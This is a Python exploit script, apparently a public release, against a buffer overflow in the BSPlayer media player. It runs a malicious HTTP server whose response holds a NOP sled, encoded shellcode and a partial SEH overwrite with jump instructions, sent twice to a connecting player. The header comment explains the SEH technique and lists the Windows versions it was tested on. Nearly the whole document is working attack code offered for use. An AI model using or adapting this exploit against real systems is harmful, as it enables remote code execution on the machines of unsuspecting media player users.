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#!/usr/bin/python ''' Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL. In order to exploit this bug I partially overwrited the seh record to land at pop pop ret instead of the full address and then used backward jumping to jump to a long jump that eventually land in my shellcode. Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try :) My twitter: @fady_osman My youtube: https://www.youtube.com/user/cutehack3r ''' import socket import sys s = socket.socket() # Create a socket object if(len(sys.argv) < 3): print "[x] Please enter an IP and port to listen to." print "[x] " + sys.argv[0] + " ip port" exit() host = sys.argv[1] # Ip to listen to. port = int(sys.argv[2]) # Reserve a port for your service. s.bind((host, port))# Bind to the port print "[*] Listening on port " + str(port) s.listen(5) # Now wait for client connection. c, addr = s.accept()# Establish connection with client. # Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload. print(('[*] Sending the payload first time', addr)) c.recv(1024) #seh and nseh. buf ="" buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31" buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a" buf += "\x85\xc0\xea\x12\x66\x38\xeb\x44\xee\xdd\xda\x56\x94" buf += "\x96\x4f\x67\xde\xfa\x63\x0c\xb2\xee\xf0\x60\x1b\x01" buf += "\xb0\xcf\x7d\x2c\x41\xfe\x41\xe2\x81\x60\x3e\xf8\xd5" buf += "\x42\x7f\x33\x28\x82\xb8\x29\xc3\xd6\x11\x26\x76\xc7" buf += "\x16\x7a\x4b\xe6\xf8\xf1\xf3\x90\x7d\xc5\x80\x2a\x7f" buf += "\x15\x38\x20\x37\x8d\x32\x6e\xe8\xac\x97\x6c\xd4\xe7" buf += "\x9c\x47\xae\xf6\x74\x96\x4f\xc9\xb8\x75\x6e\xe6\x34" buf += "\x87\xb6\xc0\xa6\xf2\xcc\x33\x5a\x05\x17\x4e\x80\x80" buf += "\x8a\xe8\x43\x32\x6f\x09\x87\xa5\xe4\x05\x6c\xa1\xa3" buf += "\x09\x73\x66\xd8\x35\xf8\x89\x0f\xbc\xba\xad\x8b\xe5" buf += "\x19\xcf\x8a\x43\xcf\xf0\xcd\x2b\xb0\x54\x85\xd9\xa5" buf += "\xef\xc4\xb7\x38\x7d\x73\xfe\x3b\x7d\x7c\x50\x54\x4c" buf += "\xf7\x3f\x23\x51\xd2\x04\xdb\x1b\x7f\x2c\x74\xc2\x15" buf += "\x6d\x19\xf5\xc3\xb1\x24\x76\xe6\x49\xd3\x66\x83\x4c" buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22" buf += "\x8c\xcd\x11\xc2\x37\x12" jmplong = "\xe9\x85\xe9\xff\xff" nseh = "\xeb\xf9\x90\x90" # Partially overwriting the seh record (nulls are ignored). seh = "\x3b\x58\x00\x00" buflen = len(buf) response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000 c.send(response) c.close() c, addr = s.accept()# Establish connection with client. # Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload. print(('[*] Sending the payload second time', addr)) c.recv(1024) c.send(response) c.close() s.close() |
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